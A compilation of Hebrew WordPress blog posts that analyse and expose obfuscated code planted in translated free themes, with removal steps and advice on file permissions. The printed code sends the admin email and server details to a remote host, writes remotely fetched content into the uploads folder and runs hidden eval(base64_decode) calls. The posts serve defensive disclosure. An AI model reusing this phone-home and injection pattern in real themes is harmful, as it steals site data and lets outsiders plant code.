הפוסט וורדפרס 3.4 עם טוויטר פורסם על ידי ~ניצן~ בבלוג המכללה

ראשית, קוד מוצפן שרץ על השרת שלי זה דבר לא מקובל בעיני, ואף שבהחלט ייתכן שלא מדובר בקוד זדוני אלא ברצונו של מתרגם התבנית למנוע אפשרות של הסרת הקרדיט המגיע לו, ייתכן והקוד שלו מכיל באג כזה או אחר שניתן לנצל על-מנת לגרום נזק. קוד מוצפן שכזה יקשה עליי, לאתר את התקלה ויפגע בי ובמשתמשים שלי שבפניהם אני אחראי על האתרים שלהם.

שנית, קוד שמדבר עם שרת מרוחק, שולח לו מידע ומקבל ממנו מידע, וכל זה מבלי ליידע אותי, נקרא קוד זדוני, גם אם כל מה שהוא עושה זה לשחק "מרקו-פולו" עם אותו שרת מרוחק. אבל היות והקוד מוצפן, אני לא יודע מה הוא עושה, ופוטנציאלית הוא יכול לעשות משהו שאני לא מעוניין בו. יתרה מזאת, גם האתר שאיתו הקוד מתקשר לא חסין מפריצה ולכן אין ערובה לכך שהפעולה התמימה, לכאורה, שהוא מבצע תישאר כזאת לאורך זמן.

אז בואו נתחיל.

נעשה שימוש בפונקציות wp_get_header ו-wp_get_footer שנראות כאילו שהן פונקציות מובנות של וורדפרס. הבעיה היא שהן לא. למעשה הן מכילות בדיקות שהפונקציות של הקוד הזדוני נמצאות במערכת:

function wp_get_header() {
	if(	function_exists('wp_get_footer') &&
		function_exists('wp_cache_verify') &&
		function_exists('wp_cache')) {
			get_header();
	}
}
function wp_get_footer() {
	get_footer();
	wp_cache_verify(wp_cache());
}

לאחר מכן, מתבצעת בדיקה של הימצאות הקוד הזדוני בתוך הקבצים שבהם הוא נשתל:

$t['template'] = pathinfo(get_bloginfo('template_directory'));
$credit_violation = '';
$footer = TEMPLATEPATH.'/footer.php';
$handle = @fopen($footer, 'r');
$footer = @fread($handle, @filesize($footer));
fclose($handle);
$funcs = TEMPLATEPATH.'/functions.php';
$handle = @fopen($funcs, 'r');
$funcs = @fread($handle, @filesize($funcs));
fclose($handle);

השלב הבא הוא שלב מאוד יפה. מתבצעת בדיקה, שמטרתה לגלות שכל החלקים של הקוד הזדוני במקום ולא עברו שינויים שנראו חשובים למי שכתב אותו. לכל שינוי או תוצאה ניתן מספר שלפיו ניתן יהיה לגלות איזה חלק בקוד שונה או הוסר:

if($footer && $funcs) {
	if(substr_count($footer, 'mastergate.co.il') < '2') {
		$credit_violation = '1';
	}
	if(substr_count('$footer', 'eval') != '1') {
		$credit_violation = '2';
	}
	if(substr_count('$footer', 'base64_decode') != '1') {
		$credit_violation = '3';
	}
	if(substr_count('$footer', '$cache') != '1') {
		$credit_violation = '4';
	}
	if(substr_count('$funcs', 'eval') < '1') {
		$credit_violation = '5';
	}
	if(substr_count('$funcs', 'base64_decode') < '1') {
		$credit_violation = '6';
	}
	if(substr_count('$funcs', 'ICAgICAgICBldmFsKGJhc2U2NF9kZWNvZGUoIloyeHZZbUZzSUNSZlUwVlNWa1ZTTENBa1gwZEZW') < '1') {
		$credit_violation = '7';
	}
	if(substr_count('$funcs', 'R1ExWVRnNE5USmNJaWtnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnYVdZb0pHTmhZMmhsY2w5MGFX') < '1') {
		$credit_violation = '8';
	}
	if(substr_count('$funcs', 'ICAgICAgICBldmFsKHN0cmlwc2xhc2hlcyhiYXNlNjRfZGVjb2RlKCJJQ0FnSUNBZ0lDQWtkRnNu') < '1') {
		$credit_violation = '9';
	}
	if(substr_count('$funcs', 'ICAgICAgICBnZXRfZm9vdGVyKCk7CiAgICAgICAgd3BfY2FjaGVfdmVyaWZ5KFwiZDNCZlkyRmphR1VvS1RzPVwiKTs=') < '1') {
		$credit_violation = '10';
	}
	if(!function_exists('wp_cache_http')) {
		$credit_violation = '11';
	}
	if(!WP_CACHE_VERSION) {
		$credit_violation = '12';
	}
} else {
	$credit_violation = '0';
}

בשלב הבא, הקוד אוסף מידע ומכניס אותו למערך. ברשותכם, אני רוצה לעבור על החלק הזה שורה אחרי שורה:

$wp_counts = wp_count_posts('post'); 

שורה זו שומרת במשתנה את מספר הפוסטים שנכתבו בבלוג. לא רק כאלה שפורסמו, אלא כל הפוסטים.

$t['qs'] = '?x='.time();

שורה זו שומרת את ערך הזמן של השרת, ולמעשה אומרת לנו, אם אחראי השרת קינפג אותו כמו שצריך, מה התאריך והשעה המדוייקים.

$t['qs'] .= 'version_wp='.get_bloginfo('version');

שורה זו שומרת את הגרסה של וורדפרס. ככל שהגרסה של הוורדפרס שלכם ישנה יותר, ככה יש יותר סיכוי שיפרצו אליכם לבלוג.

$t['qs'] .= 'version_php='.phpversion();

שורה זו שומרת את הגרסה של PHP. מידע זה יכול לתת לנו מושג כללי מה אני יכול ומה אני לא יכול לעשות בשרת, וכן לספק "מודיעין" על רמת ההגנה של השרת. פרט מידע זה אינו תמיד זמין לגולש המזדמן.

$t['qs'] .= 'wp_template='.$t[template][filename]; 

שורה זו שומרת את השם של התיקיה שבה שמורה ערכת העיצוב הנוכחית. ככה, אם הקוד הזדוני נמצא ביותר מערכת עיצוב אחת, ניתן לדעת באיזה ערכה בדיוק.

$t['qs'] .= 'wp_posts='.$wp_counts('publish');

שורה זו לוקחת את המשתנה שמכיל את מספרם של כל הפוסטים שיש לנו בבלוג, ושומרת מתוכם רק את מספר הפוסטים שפורסמו. זהו מדד טוב לכמה שהבלוג מתעדכן בתדירות כזאת או אחרת. בנוסף, קיימת, לכאורה, הפרה של זכויות יוצרים, מספר זה נותן מידע על מספר העמודים שבהם מתרחשת הפרה זו.

$t['qs'] .= 'admin_email='.get_bloginfo('admin_email');

שורה זאת שומרת את כתובת האימייל של המשתמש שמוגדר כמנהל בבלוג. מדובר בפרט מידע שלא ניתן לדלות אותו מביקור פשוט בבלוג. פוטנציאלית, אם הקוד הזדוני הזה רץ על גבי אלף בלוגים, אז למפעיל הקוד ישנן אלף כתובות דואר אלקטרוני הידועות כפעילות ונמצאות בשימוש במידה כזאת או אחרת. כאן זה גם המקום להזכיר, שכפי שלא מומלץ לעבור תמיד ממשתמש ה-root, כך גם בוורדפרס, מומלץ ליצור משתמש נוסף שאינו מנהל ולעבוד ממנו בכל עת שאתם לא זקוקים להרשאות המלאות שגישת המנהל מאפשרת.

$t['qs'] .= 'violation='.$credit_violation;

זוכרים את מספר ההפרה שדיברנו עליו מקודם? גם מספר זה נשמר.

$t['qs'] .= 'request_uri='.$_SERVER['REQUEST_URI'];

כאן הקוד פונה לשרת ומבקש ממנו את הכתובת היחסית ביחס לתיקיה ה-/ שזמינה לגישה דרך האינטרנט.

$t['qs'] .= 'domain='.$_SERVER['SERVER_NAME'];

וכאן הקוד מבקש את שם השרת או יותר נכון את הכתובת שלו. הפקודה הזאת והפקודה הקודמת משיגים לנו ביחד את הכתובת הישירה של הדף.

לאחר שכל המידע הזה נאסף, כל המידע במערך $t מקודד, ומוכנס למחרוזת שמכילה כתובת של שרת, תיקיה על השרת, וסיומת .html. במילים אחרות, הקוד מייצר כתובת של דף html שיושב על שרת מרוחק, כאשר הכתובת מורכבת מכל הפרטים שנאספו מהבלוג שלו.

לפני שנמשיך, קצת מידע שיסייע להבין מה זה ולמה זה טוב. אם ננסה להכנס לרגע לראשו של כותב קוד זדוני, המטרה היא להצליח לבצע את הפעולה. במקרה הזה, נראה שקיימת תקשורת, ובשלב הזה של ניתוח הקוד, חד כיוונית, לכאורה, עם שרת מרוחק. מובן מאליו שהקובץ שהקוד מייצר מתוך פרטי המידע של הבלוג שלנו לא באמת קיים. אבל בגלל האופן שבו שרתי אינטרנט מדברים זה עם זה, אנחנו יכולים לצפות למצב שנפנה לשרת כדי לדרוש את הקובץ הזה, למשל באמצעות פקודת GET. השרת יחזיר לנו תגובה כזאת או אחרת. ניתן לשנות את התגובות הללו ולהתאים אותן למה שאנחנו מצפים להשיג באמצעותן. ניתן גם להגדיר את השרת המרוחק שישמור את כל הפניות הללו (כפי שאנחנו יכולים לצפות במידע סטטיסטי על הגולשים שנכנסו לאתר שלנו), ומכיוון שהן כולן באות במבנה מוגדר, ניתן לשלוף מתוך, ובמקרה שלפנינו, באמצעות base64_decode, את המידע הזה. זוכרים את הסיפור על יצרניות תוכנה לסלולר ששמרו מידע על מיקום המכשירים והעבירו אותו לשרתי היצרניות? אז משהו כזה.

טוב, ממשיכים. בשלב הזה, הקוד בודק האם התקבל ערך של הפרת זכויות יוצרים (אם הפונקציה שמקצה את הערכים הללו סיימה לרוץ מקודם, תמיד יהיה איזשהו ערך, בפרט, במידה ואין הפרה, מבחינת האופן שזה מוגדר בקוד, יוחזר 0). מתבצעת פנייה לפונקציה שעושה את שדיברנו עליו למעלה. עוד נחזור אליה. לאחר מכן מתבצעת בדיקה של הימצאות כל חלק הקוד הזדוני, ובמידה וקיים הבדל בין מה שצריך להיות לבין מה שנמצא בפועל, מוצג באנר אדום בתחתית המסך שמכריז כי "אתר זה הפר את זכויות היוצרים בתבנית":

if($credit_violation != '') {
	if(function_exists('wp_cache_http'))
		wp_cache_http('$t[action]');
		$cache = $output_cache;
		if($cache) {
			if($cache = @base64_decode($cache)) {
				$cache = @unserialize($cache);
				echo '$cache[html_reply]';
			}
		} else {
		echo '<div ><strong>תבנית זאת הוסבה לעברית ע'י מאסטרגייט. אתר זה הפר את זכויות היוצרים בתבנית. חזרה לוורדפרס בעברית</strong></div>';
		echo '<!-- violation: $credit_violation -->';
	}
}

לא ברור מה המימד המשפטי של טענה זו, בפרט אם התבנית מופצת במקור (לפני התרגום) תחת רשיון GPL, אבל זהו לא פוסט משפטי וגם הכותב אינו משפטן.

אחד הדברים שהרשימו אותי בקוד הזה, הוא שכל שלב בודק ומוודא שהשלבים הדרושים להצלחתו התקיימו אף הם בהצלחה. אין לי דרך לקבוע זאת בשום מידה של וודאות, אבל אפשר שכתיבת הקוד שמגן על התבנית מפני הסרת הקרדיט, לקח זמן רב בכמה סדרי גודל מאשר הזמן שנדרש על-מנת להתאים את התבנית לעברית.

במידה ויצירת הכתובת לשרת המרוחק הצליחה, הקוד שולח בקשת GET לאותו שרת מרוחק, ושומר את התגובה שהוא מקבל. בעצם מתבצעת השוואה בין הקוד שנשלח לקוד שהתקבל. ייתכן וזאת עוד דרך לבדוק האם לא חסמתי את הקוד מפני תקשורת בלתי מוגבלת לשרת המרוחק שלו.

if(!$cache) {
	$pos = strpos($url, '/', 7);
	$parsed_url['uri'] = substr($url, $pos);
	$parsed_url['host'] = str_replace('http://', '', substr($url, 0, $pos));
	$fp = @fsockopen('$parsed_url[host]', 80, $errno, $errstr, 1);
	if (!$fp) {
		$error = '1';
	} else {
		$cache = '';
		$request = 'GET $parsed_url[uri] HTTP/1.1\r\n';
		$request .= 'Host: $parsed_url[host]\r\n';
		$request .= 'Referer: $_SERVER[SERVER_NAME]\r\n';
		$request .= 'Connection: Close\r\n\r\n';
		fwrite($fp, $request);
		while (!feof($fp)) {
			$cache .= fgets($fp, 9216);
		}
		fclose($fp);
		if(substr_count($cache, '\n\r') gt;= 1) {
			$cache = explode('\n\r', '$cache');
			$cache = str_replace(array('\r','\n'), '', '$cache[1]');
		}
	}
}

$output_cache = $cache; 

ואז מגיע השלב שבו העניינים באמת מתחילים להיות מעניינים.

$t['dir_upload'] = wp_upload_dir();

הקוד שומר במשתנה את התיקיה שמשמשת להעלאת קבצים מערכת העיצוב. משמעות הדבר היא שפקודות שמופעלות מתוך ערכת העיצוב יכולות לכתוב לתוך תיקיה שנמצאת על השרת שלי. אבל הקוד שאנחנו מנתחים הוא חלק מהקוד של ערכת העיצוב, ולמה שהוא יזדקק לגישה לתיקיה שאפשר לכתוב אליה? האם הוא רוצה לכתוב קבצים לתיקיה כלשהי על השרת שלי?

בשלב הזה הקוד שוב מבצע קריאה לשרת המרוחק, ושומר את התגובה. לאחר מכן, הוא מייצר קובץ עם סיומת jpg, מכניס אליו את המידע שהוא משך מן השרת המרוחק, קורא לו בשם שנגזר מפרטי השרת שלי, ושומר אותו בתיקיית ההעלאות. לאחר שסיים לעשות זאת, הוא מושך את התוכן השמור בקובץ לתוך משתנה:

$cacher_filename = substr(md5('$_SERVER[SERVER_NAME]'), 0, 10).'.jpg';
$cacher_path = $t['dir_upload']['path'].'/$cacher_filename';
$cacher_time = @filemtime($cacher_path);
$cacher_life = '3600';
if (!$cacher_time || ((time()-$cacher_time) gt;= $cacher_life)){
	wp_cache_http('$t[action]');
	$cache = $output_cache;
	if($cache) {
		$handle = @fopen($cacher_path,'x+');
		@fwrite($handle,$cache);
		@fclose($handle);
	}
} else {
	$cache = @file_get_contents($cacher_path);
}

היות ומדובר בקוד שאמור לרוץ בכל טעינה של footer.php, ישנה הגדרה שמטרתה למנוע מהקוד לרוץ בכל פעם, אלא רק במרווחי זמן קבועים (זה התנאי שבקטע הקוד למעלה).

נעשה סיכום קצר. עד עכשיו הקוד הזה, הספיק לבחון את תקינותו, לדבר עם שרת מרוחק ולדווח לו על פרטי השרת שלי (וגם אם לא, זה בהחלט אפשרי, כפי שכבר תיארתי למעלה), להוריד מידע מהשרת המרוחק, ולשמור מידע זה במשתנה. השלב הבא, הוא כצפוי, לעשות שימוש במידע השמור במשתנה:

if($cache) {
	if($cache = @base64_decode($cache)) {
		$cache = @unserialize($cache);
		if(strlen($cache[custom_credit]) >= 5) {
			$t['default_string'] = '$cache[custom_credit]';
		}
		if($cache['status'] == '0') {
			$cache_error = '1';
			$cache_lock = '1';
		} else {
			$total_links = sizeof($cache['links']);
			$links = '$t[default_string]';
			if($total_links > 0) {
				$i = '0';
				foreach($cache['links'] as $k => $v) {
					$i++;
					if($v->l_path == '' || $v->l_path == $_SERVER['REQUEST_URI']) {
						$v->l_href = htmlspecialchars(strip_tags($v->l_href));
						$v->l_title = htmlspecialchars(strip_tags($v->l_title));
						$v->l_anchor = htmlspecialchars(strip_tags($v->l_anchor));
						$links .= ' | ';
						$links .= '<a class='mglnk_l$v->lid' href='$v->l_href' title='$v->l_title'';
						if($v->l_nofollow == '1')
							$links .= ' rel='nofollow'';
						$links .= '>$v->l_anchor</a>';
					}
		}
	}
	$t['links'] = '$links';
	if($cache[credit] == '0') {
		$t['links'] = '';
	}
	}
	} else {
		$cache_error = '1';
	}
	} else {
		$cache_error = '1';
	}

המידע, ובמקרה הזה אוסף של לינקים, והמזהים שלהם, הופך לקוד HTML ונשמר במחרוזת. מחרוזת זו מחליפה את המחרוזת שהייתה שם קודם ומחזיקה את הפרטים של מתרגם התבנית והלינקים שהגיעו עם התבנית. או משאירה את המצב כפי שהיה, במידה והפעולה שלה נכשלת:

if($cache_error == "1") {
	$t['links'] = "$t[default_string]";
}
if($cache_lock == "1") {
	if($cache['lock_html'] != "") {
		$t['links'] = "$cache[lock_html]";
	} else {
		$t['links'] = '<div style=""><strong>תבנית זאת הוסבה לעברית ע"י <a href="" style="color: white;">מאסטרגייט</a>. <a href="" style="color: white;">אתר זה הפר את זכויות היוצרים בתבנית. חזרה ל</a></strong></div>';
		$t['links'] = '<div style=""><strong&>תבנית זאת הוסבה לעברית ע"י <a href="" style="color: white;"&>מאסטרגייט&<
	}
}

סיכום

אז מה היה לנו כאן? הצפנת הקוד?-צ'ק! התחזות לפונקציות מערכת על-מנת להקטין חשש?-צ'ק! איסוף מידע על הבלוג ועל השרת?-צ'ק! שליחת מידע (או לכל הפחות אפשרות לעשות זאת) לשרת מרוחק?-צ'ק! יצירת קבצים חדשים שמבוססים על המידע שהתקבל מהשרת המרוחק בתגובה?-צ'ק! פענוח המידע שנשמר בקבצים שהתקבלו משרת מרוחק?-צ'ק! הדפסה של מידע זה בבלוג?-צ'ק!

הפוסט ניתוח הקוד של מאסטרגייט פורסם על ידי BoRIS בבלוג המכללה

חשוב להבין – מדובר בקוד מסוכן שמקבל גישה אל השרת שלכם ויכול (ואף עושה בפועל) לעשות בו כרצונו. היות והערכות יכולות להכיל פונקציות מלאות הוא אפילו יכול בעיקרון לקבל גישה מלאה אל הבלוג שלכם.

לכן, ולפני הכל – אם הבלוג שלכם מריץ ערכת עיצוב שהגיע מאחד האתרים הבאים – הסירו אותה עכשיו במידי ואז חיזרו לקרוא.

mastergate.co.il
themeland.co.il
themes.org.il
wpstore.co.il (הערה, פה נמכרות תבניות בתשלום ולכן לא בדקתי את הקוד בפועל, אם קניתם דרך האתר ערכת עיצוב, אנא צרו איתי קשר על מנת שאוכל לבדוק)

הכל התחיל כשמיטל מבלוג הלקים גילתה שבפוטר של הערכה שלה, שהורדה מהאתר של מאסטרגייט, הופיעו לינקים שהיא לא שמה ולא רצתה בהם. ניסיון להסיר את הלינקים הללו הקפיץ הודעה שהאתר מפר זכויות יוצרים. זו, הייתה יריית הפתיחה – שכן מדובר בערכה המופצת תחת קוד GPL ולא רק שמותר לשנות בה את הקוד כאוות נפשנו, אלא שוודאי וודאי שאין למאסטרגייט שום זכויות יוצרים על הערכה.

התקנתי את הערכה על שרת מקומי והתחלתי לחפש את ההתערבויות, היות ומדובר בערכה די נרחבת קיים סיכוי סביר שלא מצאתי את הכל, אבל פה יש תיעוד של מה שמצאתי.

ההתחלה הייתה בקוד ה footer שם נמצא קוד ה PHP הבא:

eval(base64_decode("d3BfY2FjaGUoKTs="));

כאשר פתחנו את הקידוד נמצאה בתוכו הפונקציה
wp_cache();
לא ראינו שום סיבה להעלים את פונקציית ה cache אך ברגע שזו הוסרה הופיעה לפתע הודעה המכריזה כי האתר מפר זכויות יוצרים.

המקום הבא לחפש בו היה קובץ ה functions.php, זהו קובץ שנטען ביחד עם הערכה ומיועד לפונקציות יעודיות של המפתח. ואכן, בתוך הקובץ הלז, נמצאה שורה דומה:

eval(stripslashes(base64_decode(קוד זדוני ארוך פה));

לא סתם ציינתי כי מדובר בקוד זדוני, בוריס טרח לפרק את הקוד ולנתח אותו ויעלה פוסט בהקדם, נגיד רק שמדובר בקוד שמבצע גישה אל הדאטה בייס ואל הקבצים של הערכה, הוא ניגש אל השרת של מאסטרגייט ומוריד ממנו עידכונים אשר משוכתבים אל תוך הערכה עצמה. בפועל זה משמש להתקנת לינקים פירסומיים, בפועל, ניתן להשתמש בזה כדי להכניס כל קוד זדוני אחר.

לאחר שהשוותי את קבצי הפונקציה אל קבצי הערכה המקורית ראיתי שמדובר בתוספת שלא הוכנסה במקור על ידי המפתח המקורי. הסרתי את הפונקציה וטענתי את הבלוג מחדש – הפעם, כלום לא עבד.

יש שתי דרכים לפתור את הבעיה הזו, האחת ארוכה ויסודית ושולחת את המפתח לפתוח את הדחיסה ולקרוא את תכולת הקובץ. השניה, קלה יותר ומהירה יותר – להציץ בדוח השגיאות של שרת ה apache.
על אובונטו עושים את זה על ידי שימוש ב:

tail -f /var/log/apacge/error.log

הפונקציה tail “מציצה" למעשה אל סוף הקובץ הנקוב והפרמטר f אומר לפונקציה לעקוב אחרי שינויים בקובץ ולהדפיס אותם אל המסך. התוצאה אגב היא – בכל פעם שיש הודעת שגיאה היא תודפס בטרמינל.

לאחר הקלדת הפקודה וריענון העמוד קיבלתי את הודעת השגיאה הבאה:

Fatal error: Call to undefined function wp_get_header() in /home/nitzan/www/wordpress/wp-content/themes/des/index.php on line 1

אכן, הקובץ index.php הכיל קריאה לפונקציה wp_get_header רק שזו אינה פונקציה של וורדפרס. הפונקציה של וורדפרס היא get_header – החלפתי את הפונקציה ב get_header והמשכתי הלאה.

הודעת השגיאה הבאה שהתקבלה היא:
Fatal error: Call to undefined function wp_loaded() in /home/nitzan/www/wordpress/wp-content/themes/des/header.php on line 1

הפונקציה הזו אינה מוכרת לי אבל אכן בקובץ ה header.php נמצאה בדיקה בנוסח הבא:

<?php if (wp_loaded() === true) { ?>

הודעת השגיאה הבאה הייתה

Parse error: syntax error, unexpected '}' in /home/nitzan/www/wordpress/wp-content/themes/des/header.php on line 72

ואלו היו הסוגריים המסולסלים שסוגרים את הבדיקה של הפונקציה הקודמת.

לאחר ההסרה, חזר הבלוג לעבוד אבל ה footer לא הופיע יותר. בדיקה בקובץ index.php הראתה קריאה אל

wp_get_footer();

שבדיוק כמו במקרה הראשון – זו אינה הפונקציה המקורית אלא הסוואה שלה שכן הפונקציה המקורית היא

get_footer();

לאחר שינוי הפונקציה חזרה הערכה לעבוד בשלמותה בעמוד הראשי אבל דפים פנימיים חזרו להקפיץ הודעות שגיאה.
לצורך כך, על מנת להימנע מבדיקה של כל הערכה, הוספתי אל קובץ functions.php את הפונקציות הבאות:

function wp_get_header(){get_header();}
function wp_get_footer(){get_footer();}
function wp_loaded(){return true;}

ובכך הסתכם הטיפול בערכה. והיא חזרה לעבוד מבלי הקוד הזדוני שהושתל על ידי מאסטרגייט.

מדגימה של מספר ערכות באתר של מאסטרגייט ובאתר themes.org.il עלה כי בכולן הושתל קוד זדוני שכזה או דומה. ראוי לציין כי גם האתר wpstore.co.il הוא בבעלותו של מאסטרגייט, ואני מניח כי את אותם הקודים ניתן למצוא גם שם.

לסיכום

הזכויות לתרגום ערכה נגזרות מהיותה GPL ולכן מחייבות הפצה כ GPL, אם הוכנס "כל הזכויות שמורות" זה כבר דגל שאמור להחשיד. ככלל, ערכות עדיף ורצוי תמיד להוריד ממקורות בטוחים. רצוי תמיד לחפש את שם הערכה בגוגל, ברוב המקרים זה יוביל אתכם אל המקור. רצוי להוסיף שמאסטרגייט לא המציא את הגלגל, ראיתי קודים כאלה גם קודם באתרים אחרים ולפחות ערכה אחת שמצויה באתרו היא ערכה שבמקור הכילה קוד הגנה על זכויות יוצרים של המפתח – שהוסר והוחלף על ידי הקוד של מאסטרגייט.

הנוהג של השתלת לינקים על זכויות העברות הוא לא גם יחודי למאסטרגיט, ראיתי את זה במספר אתרים אחרים, מה שבטוח, כולם טוענים שהסרה של הקודים הן הפרה של זכויות היוצרים, רצוי לזכור שהתרגום נעשה מתוקף היות הערכה GPL ולכן, כחלק מהחוקים של GPL אין שום מניעה ואיסור וזו אף זכותכם המלאה להסיר את התוספות הללו מהקוד.

קריאה לפעולה
אם קניתם ערכה אצל אחת מחנויות הערכות הישראליות – אנא צרו איתי קשר למייל nitzanb (at) gmail.com – אני רוצה לבדוק עד כמה הנוהג הזה נפוץ ולעדכן.

עידכון – 16:10 – למרות שלמיטב ידיעתי האתר מסטרגייט שייך ליחיאל סימן טוב, הרי שעל פי רישום ה DNS הוא שייך כרגע לאדם אחר בשם ערן מיטל. אי לכך אין ביכולתי לדעת בוודאות באיזה תאריך בוצעה החלפת הבעלות ולכן אין ביכולתי לדעת האם הקוד הוא תורשה של יחיאל או תוספת של ערן.

זהירות ערכות בחינם מסוכנות – מאסטרגייט טימלנד

הפוסט זהירות ממאסטרגייט וטימלנד פורסם על ידי ~ניצן~ בבלוג המכללה

כדי שפורץ יצליח להציג את העמוד שלו, צריכים להתקיים שני תנאים – הראשון, שהוא יוכל לשים קובץ אצלכם בתיקיה. השני – שהשרת ידע שהקובץ שלו צריך להיטען ראשון.

כאשר מנסים לגשת אל דומיין כלשהו, אך לא מגדירים שם קובץ, באופן אוטומטי המערכת מחפשת אחר קובץ בשם index עם סיומות רלוונטיות. כברירת המחדל, הקובץ הראשון אותו מחפש האפאצ'י הוא קובץ ה html ורק לאחריו קובץ ה php. כלומר, ברגע שמעלים קובץ index.html, אם השרת לא מוגדר נכון באופן אוטומטי הוא מקבל קדימות לקובץ ה PHP. כלומר כל מה שפורץ צריך לעשות זה להעלות קובץ index.html אל השרת ומעכשיו ועד שתסירו אותו – זה מה שיראו המבקרים שלכם.

איך אפשר למנוע את זה? הדרך הפשוטה והקלה היא להפנות באופן אוטומטי את כל הבקשות עבור index.html אל index.php בעזרת קובץ ניהול הגישה.

פותחים את קובץ ה .htaccess (נקודה בתחילת השם) ומוסיפים בראשו את השורות הבאות

RewriteEngine on
RewriteRule index\.html index.php [NC,R]

אם אתם משתמשים בלינקים יפים, השורה הראשונה כבר קיימת אצלכם ואין צורך להוסיף אותה שוב, פשוט הכניסו את השורה השניה מתחת לשורה הקיימת.

מעכשיו, כל מי שינסה לגשת אל קובץ ה index.html יועבר באופן אוטומטי אל index.php.

אבל איך הוא הגיע לשם?

הרבה אנשים חושבים שבשביל שמישהו יצליח להכניס להם קובץ לשרת, הוא צריך גישה ישירה אל החשבון שלהם (בד"כ את פרטי ה ftp). זו שגיאה נפוצה, ולמעשה, הפורץ לא צריך לדעת מה פרטי החשבון שלכם, הוא רק צריך גישה כלשהי לאחת התיקיות בשרת, אפילו של משתמשים אחרים. אם השרת לא אובטח כשורה והרשאות הקבצים לא עודכנו – הדרך להכניס קובץ index.html אל תיקיית השורש מצריכה לא יותר מאשר 15 שורות קוד, אולי אפילו פחות.

בעקבות הפוסט הקודם נתבקשתי להרחיב לגבי הרשאות הקבצים בלינוקס. דבר שלקחתי כברור מאליו (אני ורבים אחרים) והסתבר שיש לגביו חוסר בהירות רב. כפי שאמרתי בעבר, עבור וורדפרס (ואפליקציות php בכלל), הרשאות על כל הקבצים צריכות להיות 644 ועל כל התיקיות 755 – והנה ההסבר.

במחשבים בכלל, לכל קובץ יש שלושה מצבי גישה – קריאה, כתיבה, הרצה. בלינוקס מסמנים אותם בעזרת מספרים. כך למשל הסיפרה 4 מסמנת קריאה בלבד, הסיפרה 6 מסמנת קריאה וכתיבה והסיפרה 7 מסמנת קריאה, כתיבה והרצה.
בנוסף, מערכת ההרשאות של לינוקס מגדירה שלושה סוגי "מורשים". בעלים, קבוצה וכל השאר.
בעלים, הוא האדם שהקובץ הוא שלו. כך למשל, בתיקיית הבית אצלך בשרת, הקבצים מוגדרים שלך.
קבוצה לעומת זאת, פועלת בדיוק כמו שמה. כל האתרים המתאכסנים בשרת שייכים לקבוצת "אתרים" (המצאתי שם) ואל הקבוצה הזו שייך גם התהליך של האפאצ'י – שתפקידו להריץ את האתר.
לבסוף – כל השאר – זה כל האנשים שאין להם התיחסות מפורשת אל הקובץ. כך למשל, באיחסון שיתופי, האנשים שמאכסנים את האתר ביחד איתך על אותו השרת, מבחינת השרת הם "אחרים".

הערה: גם לחלונות אגב יש מערכת הרשאות קבצים לפי קבוצות אבל היא פועלת בצורה קצת שונה.

מה אומרת הרשאה 644 למעשה?
היא אומרת שלך, ולך בלבד, יש הרשאות קריאה וכתיבה אל הקובץ, לקבוצת השרת יש הרשאות קריאה בלבד וכך גם ל"כל השאר".

אם הקבצים שלך מוגדרים לצורך העיניין 664 זה אומר שלקבוצת השרת יש הרשאת כתיבה. מפתח זדוני, יכול לכתוב סקריפט PHP פשוט שיגש אל תיקיות אשר כמשתמש אין לו הרשאות כתיבה אליהן וינסה לכתוב אל הקבצים. מי שמריץ את הקובץ הוא לא הפורץ אלא השרת ואם הקובץ מוגדר 664 הרי שהכתיבה אל הקובץ והוא יפרץ. אם הקובץ מוגדר 644 אזי הכתיבה תיכשל והפריצה נכשלה.

אותו הדבר לגבי תיקיות. הסיפרה 7 אומרת שיש לאותו משתמש גישה מלאה אל התיקיה – כלומר שהוא יכול לכתוב פנימה קבצים. אם תיקיית השורש שלך מוגדרת 777 (טעות מאוד נפוצה ומאוד מסוכנת שנגרמת פעמים רבות בגלל יאוש של משתמשים שלא מבינים את נושא מערכות ההרשאות) או 775 (גם נפוץ, מסוכן לא פחות) זה אומר שלקבוצת השרת יש הרשאה לכתוב קבצים אל התיקיה.

נחזור אל הדוגמא לעיל – כתיבה לתיקיה. כתבתי סקריפט שמחפש תיקיות שורש ומנסה להכניס אליהן קובץ Index.html

אם הקובץ קיים ואין לו הרשאת כתיבה – נכשלתי ואעבור לשרת הבא
אם הקובץ קיים ויש לו הרשאת כתיבה – הצלחתי, פרצתי והמשכתי.
אם הקובץ לא קיים ויש לי הרשאת כתיבה לתיקיה (775 או 777) – הצלחתי – יצרתי את הקובץ
אם הקובץ לא קיים ואין לי הרשאות כתיבה לתיקיה (755) – נכשלתי, הבא.

איך משנים? תלוי בתוכנת ה Ftp איתה אתם עובדים, ב filezilla למשל, יש ללחוץ קליק ימני על קובץ או תיקיה ולבחור ב file permission, בתפריט שיפתח יש לסמן את ההרשאות הרלוונטיות ולאשר. אם אתם מסמנים תיקיה, תיתווסף גם האפשרות להחיל את ההרשאות על הקבצים שבתוכן ועל תתי תיקיות.

הפוסט פריצה לאתר והרשאות קבצים פורסם על ידי ~ניצן~ בבלוג המכללה

יש שני גורמים שיכולים לגרום לכך שהאתר שלכם יושחת. הראשונה, תלויה באיכות של ספק האיחסון שלכם (וכבר כתבתי את דעתי על איחסון אתרים בישראל) ואם זה רשלן הרי שהדבר היחיד שאתם יכולים (וצריכים) לעשות זה לעזוב אותו. השני, זה הדרך שבה אתם התכוננתם מראש למצב שכזה.

הרבה פעמים אני שומע את המשפט "למה שמישהו ירצה לפרוץ לי לאתר" והתשובה היא לרוב – כסף אם כי בהיותנו ישראלים מדי פעם זה גם מגיע בגלל אג'נדה. כך למשל בקבוצת התמיכה של וורדפרס בעברית היה דיון שפתח בחור שהריץ אתר צפיה ישירה מבוסס ורדפרס. בעל אתר מתחרה, ככל הנראה, נהג לפרוץ אל האתר שלו על בסיס יומי ולמחוק לו את כל התוכן. סיבות אחרות יכולות להיות SEO מצידו המלוכלך, וירוסים ועוד רבות ומגוונות. עם הזמן, קמו תוכנות שסורקות את האינטרנט, מוצאות את הפירצות הרצויות ומנצלות אותן כדי להכניס את התוכן הרצוי להן. כל זאת נעשה כמעט ללא מגע יד אדם מלבד ההגדרות הראשוניות.

איך זה עובד
שלב ראשון – איתור
